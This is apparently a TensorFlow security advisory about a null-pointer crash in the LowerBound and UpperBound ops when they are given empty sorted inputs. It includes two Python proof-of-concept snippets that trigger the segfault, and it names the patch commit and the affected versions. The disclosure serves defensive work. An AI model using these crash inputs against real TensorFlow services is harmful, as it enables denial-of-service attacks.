### Impact If `LowerBound` or `UpperBound` is given an empty`sorted_inputs` input, it results in a `nullptr` dereference, leading to a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf

out_type = tf.int32 sorted_inputs = tf.constant([], shape=[10,0], dtype=tf.float32) values = tf.constant([], shape=[10,10,0,10,0], dtype=tf.float32) tf.raw_ops.LowerBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type) ``` ```python import tensorflow as tf

out_type = tf.int64 sorted_inputs = tf.constant([], shape=[2,2,0,0,0,0,0,2], dtype=tf.float32) values = tf.constant(0.372660398, shape=[2,4], dtype=tf.float32) tf.raw_ops.UpperBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type) ```

### Patches We have patched the issue in GitHub commit [bce3717eaef4f769019fd18e990464ca4a2efeea](https://github.com/tensorflow/tensorflow/commit/bce3717eaef4f769019fd18e990464ca4a2efeea).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
